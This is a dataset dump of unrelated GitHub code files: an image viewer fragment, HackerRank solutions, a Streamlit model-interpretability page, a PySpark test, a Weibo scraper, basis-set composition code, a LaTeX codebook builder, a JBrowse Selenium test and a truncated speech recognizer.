ff=fc.addfilter(jtfilefilter.new()) \n ff.description=\"PNG fájlok (*.png)\"\n ff.addpattern(\"*.png\")\n ff.regexdir=jtfilepattern(\"*\")\n\n ff=fc.addfilter(jtfilefilter.new()) \n ff.description=\"Minden fájl\"\n ff.addpattern(\"*\")\n ff.regexdir=jtfilepattern(\"*\")\n \n\n kepnezo.ch=fc.getchoice()\n kepnezo.ix=0\n \n if kepnezo.ch:\n kep=kepnezo.ch[0]\n kepnezo.wd=fpath(kep)\n dlg.var.htm.varput('')\n dlg.var.fdesc.varput(kep)\n \n\ndef fspec2url(fspec): # abszolút fspec --> URL\n fspec=fspec.replace(\"\\\\\",\"/\")\n if fspec[0]!=\"/\":\n fspec=\"/\"+fspec\n return \"file:\"+fspec\n\n\ndef fpath(name): # path\n slashpos=max(jtutil.rat(\"/\",name),jtutil.rat(\"\\\\\",name))\n if 0<=slashpos:\n return name[:slashpos]\n return \"\"\n\n\nmain()\n ","repo_name":"mrev11/ccc3","sub_path":"jt/jtpython/kepnezo1.py","file_name":"kepnezo1.py","file_ext":"py","file_size_in_byte":3425,"program_lang":"python","lang":"hu","doc_type":"code","stars":3,"dataset":"github-code","pt":"81"} +{"seq_id":"21581621928","text":"if name == 'main': \r\n n = int(input())\r\n \r\n arr = list(map(int, input().rstrip().split()))\r\n for i in range(n):\r\n print(arr[-i-1],end=' ')\r\nn = int(input())\r\narr = []\r\nfor i in range(n):\r\n ip = input()\r\n try:\r\n arr.append(int(ip))\r\n except:\r\n arr = list(map(int, ip.split(' ')))\r\n break\r\n \r\n \r\nmydict = {}\r\nfor i in range(n):\r\n for j in range(n):\r\n for k in range(n):\r\n if arr[k] == 0:\r\n continue \r\n else :\r\n value = arr[k]*(arr[j] + arr[i])\r\n if value in mydict :\r\n mydict[value] += 1\r\n else :\r\n mydict[value] = 1\r\ncount = 0\r\nfor i in range(n):\r\n for j in range(n):\r\n for k in range(n):\r\n value = arr[k] + (arr[i] * arr[j])\r\n if value in mydict :\r\n count += mydict[value]\r\nprint(count)","repo_name":"pavan393/pavan.py","sub_path":"pavan.py","file_name":"pavan.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"17814575688","text":"# Bradford Smith (bsmith8)\n# CS 370 Challenge HackerRank Paint the Tiles tile.py\n# 04/18/2016\n# \"I pledge my honor that I have abided by the Stevens Honor System.\"\n\ndef countStrokes(tiles):\n strokes = 0\n i = 0\n prev = None\n while i < len(tiles):\n if tiles[i] != prev:\n strokes += 1\n prev = tiles[i]\n i += 1\n return strokes\n\nnum = int(input())\ntiles = list(input())\nprint(countStrokes(tiles))\n","repo_name":"bradford-smith94/cs370","sub_path":"hackerRank/tilePainting/tile.py","file_name":"tile.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"70789782024","text":"import streamlit as st\nimport pandas as pd\nimport numpy as np\nfrom PIL import Image\nimport os.path as path\n\ntitle = \"Model Interpretabilities\"\nsidebar_name = \"Model Interpretabilities\"\npathGitHubRoot = 'meteo-project-main'\n\n\ndef run():\n\n imagesPathRoot = pathGitHubRoot\n imagesPathRoot = imagesPathRoot + \"/images/\"\n # imagesPathRoot = imagesPathRoot.replace(\"/\", \"\\\\\")\n\n # imagesPathRoot = '/Users/Fabien/MeteoProject/meteo-project-main/images/'\n st.title(title)\n\n\n st.header('KNN Model Interpretability Using Skater')\n \n st.markdown(\n \"\"\"\n Model's hyperparameters: \n • dataset: undersampled df_5; \n • algorithm: ball tree; \n • number of neighbors: 50. \n \n Normalized importances of the ten most important features with KNN Model: \n \"\"\"\n )\n \n img = Image.open(imagesPathRoot + \"KNNFeatureImportances.jpg\")\n st.image(img, width = 500)\n \n st.markdown(\n \"\"\"\n • Features Humidity3mp, Sunshine and RainToday are among the four most important features which is rather intuitive. \n • Feature climate_class_med is the only one resulting from the coding of categorical variables. \n \n Cumulative feature importance with KNN model: \n \"\"\"\n )\n \n img = Image.open(imagesPathRoot + \"KNNCumulativeFeatureImportance.jpg\")\n st.image(img, width = 500)\n \n st.markdown(\n \"\"\"\n • to reach 95% cumulative feature importance model needs 32 features out of 35; \n • to reach 90% cumulative feature importance model needs 28 features out of 35. \n \"\"\"\n )\n\n st.header('Random Forest Model Interpretability Using Skater')\n \n st.markdown(\n \"\"\"\n Model's hyperparameters: \n • dataset: undersampled df_4; \n • criterion: “entropy”; \n • max_features: “log2”; \n • n_estimators = 400. \n \n Normalized importances of the ten most important features with Random Forest Model: \n \"\"\"\n )\n \n img = Image.open(imagesPathRoot + \"NormalizedImportanceRF.png\")\n st.image(img, width = 500)\n \n st.markdown(\n \"\"\"\n • One variables has high importance compared to the others: Humidity3mp; \n • No variable resulting from the coding of categorical variables; \n \n Cumulative feature importance with Random Forest model: \n \"\"\"\n )\n \n img = Image.open(imagesPathRoot + \"CumulativeFeatureImportanceRF.png\")\n st.image(img, width = 500)\n \n st.markdown(\n \"\"\"\n • to reach 95% cumulative feature importance model needs 30 features out of 39; \n • to reach 90% cumulative feature importance model needs 25 features out of 39. \n \"\"\"\n )\n \n st.header('XGBoost Model Interpretability Using Skater')\n \n st.markdown(\n \"\"\"\n Model's hyperparameters: \n • dataset: undersampled df_5; \n • objective: binary logistic; \n • bbase_score: 0.50; \n • max_depth: 6. \n \n Normalized importances of the ten most important features with XGBoost Model: \n \"\"\"\n )\n \n img = Image.open(imagesPathRoot + \"XGBFeatureImportances.jpg\")\n st.image(img, width = 500)\n \n st.markdown(\n \"\"\"\n • Two variables have high importance compared to the others: Humidity3mp and Pressure3pm; \n • Feature Day_Number is the only one resulting from the coding of categorical variables; \n • Surprising that feature Rainfall does not appear.\n \n Cumulative feature importance with XGBoost model: \n \"\"\"\n )\n \n img = Image.open(imagesPathRoot + \"XGBCumulativeFeatureImportances.jpg\")\n st.image(img, width = 500)\n \n st.markdown(\n \"\"\"\n • to reach 95% cumulative feature importance model needs 26 features out of 35; \n • to reach 90% cumulative feature importance model needs 20 features out of 35. \n \"\"\"\n )\n \n \n \n st.header('Catboost Model Interpretability Using Skater')\n \n st.markdown(\n \"\"\"\n Model's hyperparameters: \n • dataset: df_4; \n \n Normalized importances of the ten most important features with Catboost Model: \n \"\"\"\n )\n \n img = Image.open(imagesPathRoot + \"NormalizedImportanceCB.png\")\n st.image(img, width = 500)\n \n st.markdown(\n \"\"\"\n • Two variables has high importance compared to the others: Pressure3pm and Humidity3mp; \n • Feature Day_Number is the only one resulting from the coding of categorical variables; \n \n Cumulative feature importance with Catboost model: \n \"\"\"\n )\n \n img = Image.open(imagesPathRoot + \"CumulativeFeatureImportanceCB.png\")\n st.image(img, width = 500)\n \n st.markdown(\n \"\"\"\n • to reach 95% cumulative feature importance model needs 31 features out of 39; \n • to reach 90% cumulative feature importance model needs 25 features out of 39. \n \"\"\"\n )\n \n \n\n\n","repo_name":"Kipfab/Streamlit-Meteo-Presentation","sub_path":"meteo-project-main/streamlit_app/tabs/modelInterpretabilities_tab.py","file_name":"modelInterpretabilities_tab.py","file_ext":"py","file_size_in_byte":5209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"20035442287","text":"import pytest\nfrom pyspark.sql.types import StructType, StructField, IntegerType, StringType\nfrom src.jobs import run_query\n\n\npytestmark = pytest.mark.usefixtures(\"spark_session\")\n\n\ndef test_it(spark_session):\n \"\"\" test run_test_query with spark_session\n Args:\n spark_session: test fixture SparkSession\n \"\"\"\n\n test_input = [\n {'id': 1, 'country': 'Japan'},\n {'id': 2, 'country': 'India'},\n {'id': 3, 'country': 'United States'},\n {'id': 4, 'country': 'Canada'}\n ]\n\n schema = StructType([\n StructField('id', IntegerType(), True),\n StructField('country', StringType(), True)\n ])\n\n input_rdd = spark_session.sparkContext.parallelize(test_input, 1)\n input_df = spark_session.createDataFrame(input_rdd, schema)\n\n results = run_query.job_runner(input_df)\n\n expected_results = 1\n assert results.count() == expected_results\n","repo_name":"BushMinusZero/LocalPysparkTest","sub_path":"src/tests/run_query_test2.py","file_name":"run_query_test2.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"69796470667","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Aug 22 13:59:25 2019\r\n\r\n@author: Administrator\r\n\"\"\"\r\nimport re \r\nimport time\r\nimport csv\r\nfrom lxml import etree\r\nfrom selenium import webdriver\r\nfrom pyquery import PyQuery as pq\r\nfrom selenium.common.exceptions import TimeoutException\r\nfrom selenium.webdriver.common.action_chains import ActionChains\r\nUSERNAME = 'yuedaqiya2008'\r\nPASSWORD = '********'\r\nbrowser = webdriver.Chrome()\r\n\r\n\r\ndef log_in(username,password):\r\n url = 'https://weibo.com/p/1006061348898682/home?is_search=0&visible=0&is_all=1&is_tag=0&profile_ftype=1&page=1#feedtop'\r\n browser.get(url)\r\n browser.maximize_window()\r\n print('请输入账号')\r\n time.sleep(45)\r\n \r\n\r\ndef scroll_to_bottom():\r\n # 最多尝试 20 次滚屏\r\n print (\"开始滚屏\")\r\n for i in range(0,50): \r\n browser.execute_script('window.scrollTo(0, document.body.scrollHeight)')\r\n html = browser.page_source\r\n tr = etree.HTML(html)\r\n next_page_url = tr.xpath('//a[contains(@class,\"page next\")]')\r\n if len(next_page_url) > 0:\r\n return next_page_url[0].get('href')\r\n if len(re.findall('点击重新载入', html)) > 0:\r\n print ('滚屏失败了,请刷新')\r\n browser.find_element_by_link_text('点击重新载入').click()\r\n time.sleep(1.6)\r\n\r\ndef get_page_source(page):\r\n url = 'https://weibo.com/p/1006061348898682/home?is_search=0&visible=0&is_all=1&is_tag=0&profile_ftype=1&page='+str(page)+'&pagebar=1'\r\n browser.get(url)\r\n scroll_to_bottom()\r\n return browser.page_source\r\n\r\ndef parse_one_page(content):\r\n doc = pq(content)\r\n weiboit = doc('.WB_cardwrap.WB_feed_type.S_bg2.WB_feed_like').items()\r\n for item in weiboit:\r\n yield{\r\n '时间':item('.WB_detail .WB_from.S_txt2 a').attr('title').strip()[0:10],\r\n '收藏数':item('.WB_row_line.WB_row_r4.clearfix.S_line2 li').eq(0).find('.line.S_line1 i').attr('title')[9:-1],\r\n '转发数':item('.WB_row_line.WB_row_r4.clearfix.S_line2 li').eq(1).find('em').eq(1).text(),\r\n '评论数':item('.WB_row_line.WB_row_r4.clearfix.S_line2 li').eq(2).find('em').eq(1).text(),\r\n '点赞数':item('.WB_row_line.WB_row_r4.clearfix.S_line2 li').eq(3).find('em').eq(1).text(),\r\n '内容':item('.WB_detail .WB_text.W_f14').text()\r\n }\r\n\r\n\r\n\r\ndef save_to_csv(dics):\r\n with open('C:/Users/Administrator/Desktop/文件集合/weiboneirong.csv','a',encoding='GB18030',newline='') as csvfile:\r\n fieldnames = ['时间','收藏数','转发数','评论数','点赞数','内容']\r\n writer = csv.DictWriter(csvfile,fieldnames=fieldnames)\r\n writer.writerow(dics)\r\n\r\n\r\ndef main():\r\n log_in(USERNAME,PASSWORD)\r\n for page in range(1,100):\r\n a = get_page_source(page)\r\n b = parse_one_page(a)\r\n for item in b:\r\n save_to_csv(item)\r\n \r\n \r\nif __name__ == '__main__':\r\n main()\r\n\r\n\r\n","repo_name":"caiyunbin/weiboyuliaochuli","sub_path":"weibo_qichezhijiapachong.py","file_name":"weibo_qichezhijiapachong.py","file_ext":"py","file_size_in_byte":3008,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"36396579122","text":"import os\nfrom . import fileio, manip, memo\n\n\ndef _whole_basis_types(basis):\n '''\n Get a list of all the types of features in this basis set.\n\n '''\n\n all_types = set()\n\n for v in basis['elements'].values():\n if 'electron_shells' in v:\n for sh in v['electron_shells']:\n all_types.add(sh['function_type'])\n\n if 'ecp_potentials' in v:\n for pot in v['ecp_potentials']:\n all_types.add(pot['ecp_type'])\n\n return sorted(all_types)\n\n\ndef compose_elemental_basis(file_relpath, data_dir):\n \"\"\"\n Creates an 'elemental' basis from an elemental json file\n\n This function reads the info from the given file, and reads all the component\n basis set information from the files listed therein. It then composes all the\n information together into one 'elemental' basis dictionary\n \"\"\"\n\n # Do a simple read of the json\n el_bs = fileio.read_json_basis(os.path.join(data_dir, file_relpath))\n\n # construct a list of all files to read\n component_files = set()\n for k, v in el_bs['elements'].items():\n component_files.update(set(v['components']))\n\n # Read all the data from these files into a big dictionary\n component_map = {k: fileio.read_json_basis(os.path.join(data_dir, k)) for k in component_files}\n\n # Use the basis_set_description for the reference description\n for k, v in component_map.items():\n for el, el_data in v['elements'].items():\n el_data['references'] = [{\n 'reference_description': v['description'],\n 'reference_keys': el_data['references']\n }]\n\n # Compose on a per-element basis\n for k, v in el_bs['elements'].items():\n\n components = v.pop('components')\n\n # all of the component data for this element\n el_comp_data = []\n for c in components:\n centry = component_map[c]['elements']\n\n if k not in centry:\n raise RuntimeError('File {} does not contain element {}'.format(c, k))\n\n el_comp_data.append(centry[k])\n\n # merge all the data\n v = manip.merge_element_data(None, el_comp_data)\n el_bs['elements'][k] = v\n\n return el_bs\n\n\n@memo.BSEMemoize\ndef compose_table_basis(file_relpath, data_dir):\n \"\"\"\n Creates a 'table' basis from an table json file\n\n This function reads the info from the given file, and reads all the elemental\n basis set information from the files listed therein. It then composes all the\n information together into one 'table' basis dictionary\n\n Note that the data returned from this function will not be shared, even if\n the function is called again with the same arguments.\n \"\"\"\n\n # Do a simple read of the json\n file_path = os.path.join(data_dir, file_relpath)\n table_bs = fileio.read_json_basis(file_path)\n\n # construct a list of all elemental files to read\n element_files = set(table_bs['elements'].values())\n\n # Create a map of the elemental basis data\n # (maps file path to data contained in that file)\n element_map = {k: compose_elemental_basis(k, data_dir) for k in element_files}\n\n # Replace the basis set for all elements in the table basis with the data\n # from the elemental basis\n for k, entry in table_bs['elements'].items():\n data = element_map[entry]\n\n if k not in data['elements']:\n raise KeyError('File {} does not contain element {}'.format(entry, k))\n\n table_bs['elements'][k] = data['elements'][k]\n\n # Add the version to the dictionary\n file_base = os.path.basename(file_relpath)\n table_bs['version'] = file_base.split('.')[-3]\n\n # Add whether the entire basis is spherical or cartesian\n table_bs['function_types'] = _whole_basis_types(table_bs)\n\n # Read and merge in the metadata\n # This file must be in the same location as the table file\n meta_dirpath, table_filename = os.path.split(file_path)\n meta_filename = table_filename.split('.')[0] + '.metadata.json'\n meta_filepath = os.path.join(meta_dirpath, meta_filename)\n bs_meta = fileio.read_json_basis(meta_filepath)\n table_bs.update(bs_meta)\n\n # Modify the molssi schema (is now 'complete' and not 'table')\n table_bs['molssi_bse_schema'] = {\"schema_type\": \"complete\", \"schema_version\": \"0.1\"}\n\n return table_bs\n","repo_name":"MolSSI-BSE/basis_set_exchange","sub_path":"basis_set_exchange/compose.py","file_name":"compose.py","file_ext":"py","file_size_in_byte":4334,"program_lang":"python","lang":"en","doc_type":"code","stars":132,"dataset":"github-code","pt":"81"} +{"seq_id":"29110853911","text":"#!/usr/bin/python3\nimport os\nimport shlex\nimport subprocess\n\ndef add_hash(line, crc_line_start, crc_line_num, comment, delim = '#'):\n os.system(\"sed \\'/^\\\\s*$/d\\' tmp | head -\" + str(crc_line_num) + \" | tail -\" +str(crc_line_num - crc_line_start) + \" | tr -d \\'[[:space:]]\\' | cksum | cut -f1 -d ' ' | tail -c 5 >tmp2\")\n #sed gives errors but seams to work\n fin2 = open(\"tmp2\", \"r\")\n line = line.rstrip()\n if(not comment):\n line += \"@ \"\n line += \"$ \"\n line += \"\\\\hfill \"\n line += delim\n line += fin2.readline()\n line = line.rstrip()\n line += \" $\"\n if(not comment):\n line += \" @\"\n line += \"\\n\"\n fin2.close()\n return line\n\nfin = open(\"file_ord.txt\", \"r\")\nfile_ord = fin.readlines()\nfin.close()\n\nfout = open(\"codebook.tex\", \"w\");\nfor file in file_ord:\n file = file.rstrip()\n use_minted = False\n need_minted = False\n \n lang = \"tex\"\n if(file[-4:] == \".cpp\" or file[-4:] == \".hpp\" or file[-2:] == \".c\" or file[-2:] == \".h\" or file[-3:] == \".sh\" ):\n lang = \"c++\"\n if(file[-3:] == \".sh\" ):\n lang = \"bash\"\n need_minted = True\n use_minted = True\n outputting = False\n hashing = False\n multiline_comment = False\n comment = False\n define = False\n last_needs_end = False\n need_write_hash = False\n escape_str = \"!escape \"\n beg_str = \"!begin_codebook\"\n end_str = \"!end_codebook\"\n beg_hash_str = \"//!start\"\n end_hash_str = \"//!finish\"\n pause_hash_str = \"//!pause\"\n unpause_hash_str = \"//!unpause\"\n if(lang == \"c++\"):\n os.system(\"clang-format -style=file \"+file+\" >tmp_source\")\n else:\n os.system(\"cp \"+file+\" tmp_source\");\n\n\n if(use_minted):\n fin = open(\"tmp_source\", \"r\")\n ftmp = open(\"tmp\", \"w\")\n for line in fin.readlines():\n escape_idx = line.find(escape_str)\n beg_idx = line.find(beg_str)\n end_idx = line.find(end_str)\n hash_beg_idx = line.find(beg_hash_str)\n hash_end_idx = line.find(end_hash_str)\n hash_pause_idx = line.find(pause_hash_str)\n hash_unpause_idx = line.find(unpause_hash_str)\n if(escape_idx != -1):\n line = line[escape_idx+len(escape_str):]\n elif(beg_idx != -1):\n outputting = True\n elif(end_idx != -1):\n outputting = False\n elif(hash_beg_idx != -1):\n crc_line_start = crc_line_num\n hashing = True\n elif(hash_end_idx != -1):\n hashing = False\n elif(hash_pause_idx != -1):\n hashing = False\n elif(hash_unpause_idx != -1):\n hashing = True;\n else:\n if(hashing):\n ftmp.write(line)\n ftmp.close()\n os.system(\"./remccoms.py idx2)):\n comment = True\n if(need_minted):\n if(lang == \"c++\"):\n fout.write(\"\\\\begin{minted}[tabsize=2,baselinestretch=1,linenos,numbersep = 1mm, breaklines, frame=lines, escapeinside=@@, texcomments=true, mathescape=true]{\"+lang+\"}\\n\")\n else:\n fout.write(\"\\\\begin{minted}[tabsize=2,baselinestretch=1,linenos,numbersep = 1mm, breaklines, frame=lines, texcomments=true, mathescape=true]{\"+lang+\"}\\n\")\n need_minted = False\n write_line = line\n min_idx = 1000\n if(idxd != -1):\n min_idx = min(min_idx, idxd)\n if(idx3 != -1):\n min_idx = min(min_idx, idx3)\n if(multiline_comment and idx1 != -1 and idx2 == -1):\n min_idx = min(min_idx, idx1)\n if(multiline_comment and idx1 == -1 and idx2 == -1):\n min_idx = 0\n if(min_idx != 1000):\n write1 = write_line[:min_idx]\n write2 = write_line[min_idx:]\n write2 = write2.replace(\"_\", \"\\_\")\n write_line = write1+write2\n write_line = write_line.rstrip()\n line = line.rstrip()\n fout.write(write_line)\n last_needs_end = True\n if(hashing):\n strip_line = it.__next__()\n if(not strip_line.isspace()):\n crc_line_num += 1\n crc_since_last += 1\n if(crc_since_last == 5):\n need_write_hash = True\n if(need_write_hash and last_needs_end and len(line) < 50 and not comment and not define):\n hash_str = add_hash(\"\", crc_line_start, crc_line_num, comment, '#');\n hash_str = hash_str.rstrip()\n fout.write(hash_str)\n need_write_hash = False\n crc_since_last = 0\n if(last_needs_end):\n fout.write(\"\\n\")\n if(use_minted and not need_minted):\n fout.write(\"\\\\end{minted}\\n\")\n if(use_minted):\n ftmp.close()\nfout.close()\n\nfor i in range(2):\n os.system(\"\"\"/bin/bash -c \"printf '\\n%.0s' {1..1000} | pdflatex --shell-escape codebook.tex >/dev/null\" \"\"\") #Run latex twice to fix links\n","repo_name":"quartzcream/tartu_icpc","sub_path":"create_codebook.py","file_name":"create_codebook.py","file_ext":"py","file_size_in_byte":7276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"10134854340","text":"import requests, bs4\nimport openpyxl \nwb = openpyxl.Workbook() \nsheet = wb.active\nsheet.title = 'douban_movie'\nsheet['A1'] = 'NO.' # 加表头,给A1单元格赋值\nsheet['B1'] = '电影名' # 加表头,给B1单元格赋值\nsheet['C1'] = '评分' # 加表头,给C1单元格赋值\nsheet['D1'] = '推荐语' # 加表头,给D1单元格赋值\nsheet['E1'] = '网址链接' # 加表头,给E1单元格赋值\nheaders={'user-agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'}\nfor x in range(10):\n url = 'https://movie.douban.com/top250?start=' + str(x*25) + '&filter='\n res = requests.get(url, headers=headers)\n bs = bs4.BeautifulSoup(res.text, 'html.parser')\n bs = bs.find('ol', class_=\"grid_view\")\n for titles in bs.find_all('li'):\n num = titles.find('em',class_=\"\").text\n title = titles.find('span', class_=\"title\").text\n comment = titles.find('span',class_=\"rating_num\").text\n if titles.find('span',class_=\"inq\") != None:\n tes = titles.find('span',class_=\"inq\").text\n else:\n tes = ''\n \n url_movie = titles.find('a')['href']\n sheet.append([num,title,comment,tes,url_movie])\nwb.save('doubanmovie250.xlsx')","repo_name":"pengzhang-cd/jia-yi","sub_path":"Data write/DataWrite_doubanmovie250_xls.py","file_name":"DataWrite_doubanmovie250_xls.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"71306326664","text":"import json\nimport re\n\nimport pytz\nfrom django.contrib import messages\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.mail import send_mail, BadHeaderError\nfrom django.http import HttpResponse, QueryDict\nfrom django.shortcuts import redirect, render\nfrom django.views import generic\nfrom django.urls import reverse\nfrom django.utils.translation import ugettext as _\nfrom django.utils.translation import get_language as lang\n\nfrom app.entries.forms import EntryForm\nfrom app.threads.forms import ThreadForm\nfrom app.threads.models import Thread\nfrom app.users.models import User\n\nfrom .forms import ContactForm, ContactMessageForm\n\nNUM = 10\n\n\ndef search(request):\n if request.is_ajax():\n term = request.GET.get('term', '')\n results = []\n\n if str(term[0]) == '@':\n queries = User.objects.filter(username__icontains=term[1:])[:NUM]\n for query in queries:\n results.append(\"@\" + query.username)\n else:\n queries = Thread.objects.filter(title__icontains=term, lang=lang())[:NUM]\n for query in queries:\n results.append(query.title)\n\n res = json.dumps(results)\n mimetype = 'application/json'\n\n return HttpResponse(res, mimetype)\n else:\n get = request.GET.get('q')\n data = get.strip()\n if data[0] == '@':\n user = User.objects.get(username=data[1:])\n return redirect(reverse(\"user:profile\", args=[user.username]))\n\n elif data[0] == '#' and data[1:].isnumeric():\n return redirect(\"entry:read\", pk=data[1:])\n\n else:\n title = re.sub(' +', ' ', data)\n try:\n thread = Thread.objects.get(title=title, lang=lang())\n return redirect(thread)\n except ObjectDoesNotExist:\n eform = EntryForm()\n tform = ThreadForm({'title': title})\n\n eform.fields['body'].widget.attrs['placeholder'] = \\\n \"write something to create this thread\"\n if tform.is_valid():\n return render(request, 'threads/store.html',\n {'title': title, 'eform': eform, 'tform': tform})\n return render(request, 'threads/store.html',\n {'title': title, 'error': True})\n\n\n# def contact_email(request):\n# if request.method == 'GET':\n# form = ContactForm()\n# else:\n# form = ContactForm(request.POST)\n# if form.is_valid():\n# subject = form.cleaned_data['subject']\n# message = form.cleaned_data['message']\n# from_email = form.cleaned_data['from_email']\n# message_with_email = f\"From: {from_email} \\n\" + message\n# try:\n# send_mail(subject, message_with_email, from_email,\n# ['gencineer@gmail.com'])\n# except BadHeaderError:\n# return HttpResponse('Invalid header found.')\n# return redirect('core:success')\n# return render(request, \"app/contact.html\", {'form': form})\n\n\ndef contact(request):\n if request.method == 'GET':\n sub = request.GET.get(\"subject\", \"\")\n # print(type)\n message = request.GET.get(\"message\", None)\n # print(message)\n form = ContactMessageForm(initial={\"subject\": str(sub),\n \"message\": message})\n else:\n form = ContactMessageForm(request.POST)\n if form.is_valid():\n contact_message = form.save(commit=False)\n if request.user.is_authenticated:\n contact_message.user = request.user\n contact_message.lang = lang()\n contact_message.save()\n messages.success(request, _('your message sent successfully'))\n return redirect(\"/\")\n return render(request, \"app/contact.html\", {'form': form})\n\n\ndef set_timezone(request): # May add user specific timezone\n if request.method == 'POST':\n request.session['django_timezone'] = request.POST['timezone']\n return redirect('/')\n else:\n return render(request, 'auth/set-timezone.html',\n {'timezones': pytz.common_timezones})\n\n\nclass About(generic.TemplateView):\n template_name = \"app/about.html\"\n\n\ndef random_thread(request):\n thread = Thread.objects.all().filter(lang=lang()).order_by(\"?\")[:1]\n\n return redirect(thread.get())\n\n\ndef redirect_search(request, string):\n ret = \"/s?q=\" + string\n return redirect(ret)\n","repo_name":"coluck/entryarea.com","sub_path":"app/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4570,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"19680182151","text":"import time\nimport unittest\nfrom subprocess import check_call as call\n\nfrom jbrowse_selenium import JBrowseTest\n\nclass AbstractYeastBiodbTest ( JBrowseTest ):\n\n data_dir = 'sample_data/json/yeast'\n\n def setUp( self ):\n call( \"rm -rf sample_data/json/yeast/\", shell=True )\n call( \"bin/prepare-refseqs.pl --fasta sample_data/raw/yeast_scaffolds/chr1.fa.gz --fasta sample_data/raw/yeast_scaffolds/chr2.fa.gzip --out sample_data/json/yeast/\", shell=True )\n call( \"bin/biodb-to-json.pl --conf sample_data/raw/yeast.json --out sample_data/json/yeast/\", shell=True )\n call( \"bin/generate-names.pl --dir sample_data/json/yeast/\", shell=True )\n super( AbstractYeastBiodbTest, self ).setUp()\n\n\n def test_yeast( self ):\n # check a good browser title\n assert \"chrI\" in self.browser.title\n\n # check that we have the appropriate tracks\n genes_tracks = self.assert_elements( '//label[contains(@class,\"tracklist-label\")]/span[contains(.,\"coding\")]' )\n assert len(genes_tracks) == 1, 'actually found %d genes tracks' % len(genes_tracks)\n assert genes_tracks[0].text == 'Protein-coding genes', \"first track was called %s instead of %s\" % (genes_tracks[0].text, 'Protein-coding genes')\n\n # do a test where we search for a certain gene using the search box\n self.search_yal024c()\n self.assert_no_js_errors()\n\n # do a rubberband zoom in the overview\n self.overview_rubberband( 0.2, 0.5 )\n # should be no feature labels zoomed out this far\n self.assert_no_element(\"//div[contains(@class,'feature-label')]\")\n self.assert_elements(\"//div[@class='track']//div[@class='minus-feature5']\")\n self.overview_rubberband( 0.1, 0.11 )\n self.assert_elements(\"//div[@class='track']//div[@class='minus-feature5']\")\n self.assert_elements(\"//div[contains(@class,'feature-label')]\")\n\n # do some more rubberbanding and check that the title (which\n # says the displayed area) is changing in response to them\n t1 = self.browser.title\n self.overview_rubberband( 0.6, 0.9 )\n t2 = self.browser.title\n assert t1 != t2\n self.trackpane_rubberband( 0.1, 0.2 )\n t3 = self.browser.title\n assert t3 != t2\n assert t3 != t1\n\n # test scrolling, make sure we get no js errors\n self.scroll()\n\n # test sequence fetching\n self.sequence()\n\n def sequence( self ):\n self.do_typed_query( 'chrII:296318..296380' )\n if not self.is_track_on('Reference sequence'):\n self.turn_on_track( 'Reference sequence' )\n sequence_div_xpath_templ = \"/html//div[contains(@class,'sequence')][contains(.,'%s')]\"\n sequence_div_xpath_1 = sequence_div_xpath_templ % 'TATATGGTCTT'\n self.assert_element( sequence_div_xpath_1)\n self.turn_off_track( 'Reference sequence' )\n self.assert_no_element( sequence_div_xpath_1 )\n self.turn_on_track( 'Reference sequence' )\n self.assert_element( sequence_div_xpath_1 )\n self.do_typed_query( '1..20000')\n self.assert_no_element( sequence_div_xpath_1 )\n self.do_typed_query( 'chrI:19961..20038')\n self.assert_element( sequence_div_xpath_templ % 'AATTATAATCCTCGG' )\n\n def search_yal024c( self ):\n\n # check that a YAL024C feature label is not yet in the DOM\n yal024_label_xpath = \"//div[contains(@class,'feature-label')]//div[contains(@class,'feature-name')][contains(text(),'YAL024C')]\"\n self.assert_no_element( yal024_label_xpath )\n\n # Find the query box and put YAL024C into it and hit enter\n self.do_typed_query( 'YAL024C' )\n time.sleep(1*JBrowseTest.time_dilation) # cannot seem to figure out a positive wait for an element that works here :-(\n\n # test that the YAL024C label appeared in the DOM (TODO: check that it's\n # actually centered in the window), and that the protein-coding\n # genes track is now selected\n feature_labels = self.assert_elements( yal024_label_xpath )\n assert len(feature_labels) == 1, \"actually %d features match\" % len(feature_labels)\n assert feature_labels[0].text == 'YAL024C'\n\n # test that the track with YAL024C has appeared and has the correct track label\n track_labels = self.get_track_labels_containing( 'Protein-coding genes' )\n assert len(track_labels) == 1, '%d tracks displayed with that name' % len(track_labels)\n\n # test that the features in the track have the right classes\n self.assert_elements(\"//div[@class='track']//div[@class='minus-feature5']\")\n\n # do the search again, and make sure that again, only one track is displayed\n # Find the query box and put YAL024C into it and hit enter\n self.do_typed_query( \"YAL024C\" )\n\n # test that the track with YAL024C has appeared and has the correct track label\n track_labels = self.get_track_labels_containing( 'Protein-coding genes' )\n assert len(track_labels) == 1, '%d tracks displayed with that name' % len(track_labels)\n\nclass YeastBiodbTest( AbstractYeastBiodbTest, unittest.TestCase ):\n pass\n","repo_name":"GMOD/jbrowse","sub_path":"tests/selenium_tests/yeast_biodb_test.py","file_name":"yeast_biodb_test.py","file_ext":"py","file_size_in_byte":5170,"program_lang":"python","lang":"en","doc_type":"code","stars":450,"dataset":"github-code","pt":"81"} +{"seq_id":"29693518847","text":"\"\"\"\nRead audio files, weights file, and new speech audio. Output words and confidence.\n\"\"\"\nfrom __future__ import division\nimport json\nimport numpy\nfrom python_speech_features import mfcc\n\nimport speechmodel\nreload(speechmodel)\nimport audiotransform\nreload(audiotransform)\n\nclass Recognizer(object):\n def __init__(self, weightsPath='weights.h5'):\n self.model = speechmodel.makeModel()\n self.model.load_weights(weightsPath)\n\n self.words = json.load(open(weightsPath + 